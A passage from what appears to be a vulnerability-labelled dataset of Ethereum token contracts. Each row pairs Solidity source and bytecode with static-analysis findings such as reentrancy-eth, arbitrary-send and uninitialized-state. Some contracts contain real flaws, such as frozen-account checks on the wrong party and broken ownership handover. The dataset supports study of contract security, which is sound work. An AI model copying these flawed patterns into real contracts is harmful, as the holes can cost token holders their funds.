2a81526020018061229b602a913960400191505060405180910390fd5b6000611756611b68565b90506117628382611a0a565b9392505050565b601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff167501000000000000000000000000000000000000000000179055604080516002808252606080830184529260208301908036833701905050905030816000815181106117d757fe5b6001600160a01b03928316602091820292909201810191909152601254604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c4648926004808301939192829003018186803b15801561184457600080fd5b505afa158015611858573d6000803e3d6000fd5b505050506040513d602081101561186e57600080fd5b505181518290600190811061187f57fe5b6001600160a01b0392831660209182029290920101526012546118a591309116846110d2565b6012546040517f791ac947000000000000000000000000000000000000000000000000000000008152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561194457818101518382015260200161192c565b505050509050019650505050505050600060405180830381600087803b15801561196d57600080fd5b505af1158015611981573d6000803e3d6000fd5b5050601380547fffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffffff16905550505050565b6000826119c057506000610570565b828202828482816119cd57fe5b04146117625760405162461bcd60e51b81526004018080602001828103825260218152602001806122e76021913960400191505060405180910390fd5b600061176283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b8b565b80611a5957611a59611bf0565b6001600160a01b03841660009081526006602052604090205460ff168015611a9a57506001600160a01b03831660009081526006602052604090205460ff16155b15611aaf57611aaa848484611c22565b611b5b565b6001600160a01b03841660009081526006602052604090205460ff16158015611af057506001600160a01b03831660009081526006602052604090205460ff165b15611b0057611aaa848484611d46565b6001600160a01b03841660009081526006602052604090205460ff168015611b4057506001600160a01b03831660009081526006602052604090205460ff165b15611b5057611aaa848484611def565b611b5b848484611e62565b806115e7576115e7611ea6565b6000806000611b75611eb4565b9092509050611b848282611a0a565b9250505090565b60008183611bda5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611641578181015183820152602001611629565b506000838581611be657fe5b0495945050505050565b600c54158015611c005750600d54155b15611c0a57611c20565b600c8054600e55600d8054600f55600091829055555b565b600080600080600080611c3487612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611c669088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611c959087612090565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611cc490866120d2565b6001600160a01b038916600090815260026020526040902055611ce68161212c565b611cf084836121b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080611d5887612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611d8a9087612090565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611dc090846120d2565b6001600160a01b038916600090815260036020908152604080832093909355600290522054611cc490866120d2565b600080600080600080611e0187612033565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611e339088612090565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611d8a9087612090565b600080600080600080611e7487612033565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c959087612090565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611ff357826002600060098481548110611ee457fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611f495750816003600060098481548110611f2257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611f6757600a54683635c9adc5dea000009450945050505061202f565b611fa76002600060098481548110611f7b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612090565b9250611fe96003600060098481548110611fbd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612090565b9150600101611ec8565b50600a5461200a90683635c9adc5dea00000611a0a565b82101561202957600a54683635c9adc5dea0000093509350505061202f565b90925090505b9091565b60008060008060008060008060006120508a600c54600d546121d8565b9250925092506000612060611b68565b905060008060006120738e878787612227565b919e509c509a509598509396509194505050505091939550919395565b600061176283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115ed565b600082820183811015611762576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000612136611b68565b9050600061214483836119b1565b3060009081526002602052604090205490915061216190826120d2565b3060009081526002602090815260408083209390935560069052205460ff1615610f87573060009081526003602052604090205461219f90846120d2565b30600090815260036020526040902055505050565b600a546121c19083612090565b600a55600b546121d190826120d2565b600b555050565b60008080806121ec606461106389896119b1565b905060006121ff60646110638a896119b1565b90506000612217826122118b86612090565b90612090565b9992985090965090945050505050565b600080808061223688866119b1565b9050600061224488876119b1565b9050600061225288886119b1565b90506000612264826122118686612090565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122030891f095d8fa502aabb576d700482ed77a9dbb17385dc0d88feb5234d43939a64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,908 |
0x51fe1a448f8778b9575647409c75312ae0ff6591 | pragma solidity ^0.4.16;
// MannCoin contract based on the full ERC20 Token standard
// https://github.com/ethereum/EIPs/issues/20
// Smartcontract for MannCoin
// Verified Status: ERC20 Verified Token
// MANNCOIN Symbol: MANN
contract MANNCOINToken {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* MANNCOIN Token Math operations with safety checks to avoid unnecessary conflicts
*/
library ABCMaths {
// Saftey Checks for Multiplication Tasks
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
// Saftey Checks for Divison Tasks
function div(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
// Saftey Checks for Subtraction Tasks
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
// Saftey Checks for Addition Tasks
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract Ownable {
address public owner;
address public newOwner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function acceptOwnership() {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
event OwnershipTransferred(address indexed _from, address indexed _to);
}
contract MANNStandardToken is MANNCOINToken, Ownable {
using ABCMaths for uint256;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(balances[msg.sender] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4)); //mitigates the ERC20 short address attack
//most of these things are not necesary
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[msg.sender]) return false;
require(
(allowed[_from][msg.sender] >= _value) // Check allowance
&& (balances[_from] >= _value) // Check if the sender has enough
&& (_value > 0) // Don't allow 0value transfer
&& (_to != address(0)) // Prevent transfer to 0x0 address
&& (balances[_to].add(_value) >= balances[_to]) // Check for overflows
&& (msg.data.length >= (2 * 32) + 4) //mitigates the ERC20 short address attack
//most of these things are not necesary
);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
/* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 */
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
// Notify anyone listening that this approval done
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MANNCOIN is MANNStandardToken {
/* Public variables of the token */
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
uint256 constant public decimals = 8;
uint256 public totalSupply = 10 * (10**7) * 10**8 ; // 100 million tokens, 8 decimal places
string constant public name = "MannCoin";
string constant public symbol = "MANN";
function MANNCOIN(){
balances[msg.sender] = totalSupply; // Give the creator all initial tokens
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
} | 0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017b57806318160ddd146101e057806323b872dd1461020b578063313ce5671461029057806370a08231146102bb57806379ba5097146103125780638da5cb5b1461032957806395d89b4114610380578063a9059cbb14610410578063b414d4b614610475578063cae9ca51146104d0578063d4ee1d901461057b578063dd62ed3e146105d2578063e724529c14610649578063f2fde38b14610698575b600080fd5b3480156100f757600080fd5b506101006106db565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610140578082015181840152602081019050610125565b50505050905090810190601f16801561016d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610714565b604051808215151515815260200191505060405180910390f35b3480156101ec57600080fd5b506101f561089b565b6040518082815260200191505060405180910390f35b34801561021757600080fd5b50610276600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a1565b604051808215151515815260200191505060405180910390f35b34801561029c57600080fd5b506102a5610d70565b6040518082815260200191505060405180910390f35b3480156102c757600080fd5b506102fc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d75565b6040518082815260200191505060405180910390f35b34801561031e57600080fd5b50610327610dbe565b005b34801561033557600080fd5b5061033e610f1d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038c57600080fd5b50610395610f43565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d55780820151818401526020810190506103ba565b50505050905090810190601f1680156104025780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041c57600080fd5b5061045b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f7c565b604051808215151515815260200191505060405180910390f35b34801561048157600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b3565b604051808215151515815260200191505060405180910390f35b3480156104dc57600080fd5b50610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506112d3565b604051808215151515815260200191505060405180910390f35b34801561058757600080fd5b50610590611570565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105de57600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611596565b6040518082815260200191505060405180910390f35b34801561065557600080fd5b50610696600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061161d565b005b3480156106a457600080fd5b506106d9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b6040805190810160405280600881526020017f4d616e6e436f696e00000000000000000000000000000000000000000000000081525081565b6000808214806107a057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156107ab57600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60065481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156108fe5760009050610d69565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156109c9575081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156109d55750600082115b8015610a0e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610aaa5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610aa783600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b8015610abb57506044600036905010155b1515610ac657600080fd5b610b1882600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bad82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7f82600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600881565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e1a57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f4d414e4e0000000000000000000000000000000000000000000000000000000081525081565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610fd957600090506112ad565b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156110285750600082115b80156110615750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156110fd5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110fa83600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b10155b801561110e57506044600036905010155b151561111957600080fd5b61116b82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461184490919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061120082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181a90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b92915050565b60056020528060005260406000206000915054906101000a900460ff1681565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b838110156115145780820151818401526020810190506114f9565b50505050905090810190601f1680156115415780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af192505050151561156557600080fd5b600190509392505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561167957600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156118175780600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008082840190508381101580156118325750828110155b151561183a57fe5b8091505092915050565b600082821115151561185257fe5b8183039050929150505600a165627a7a72305820c92d523ab3b417b5ff431946184c35d935c7e27838c31d8ebbbdf8d5d25da6910029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}} | 1,909 |
0x937ee62efc6a3b3f498ef59bca5e9f59cf4166ca | pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function () public payable {
revert();
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier notLocked() {
require(msg.sender == owner || msg.sender == saleAgent || mintingFinished);
_;
}
function setSaleAgent(address newSaleAgnet) public {
require(msg.sender == saleAgent || msg.sender == owner);
saleAgent = newSaleAgnet;
}
function mint(address _to, uint256 _amount) public returns (bool) {
require(msg.sender == saleAgent && !mintingFinished);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public returns (bool) {
require((msg.sender == saleAgent || msg.sender == owner) && !mintingFinished);
mintingFinished = true;
MintFinished();
return true;
}
function transfer(address _to, uint256 _value) public notLocked returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address from, address to, uint256 value) public notLocked returns (bool) {
return super.transferFrom(from, to, value);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
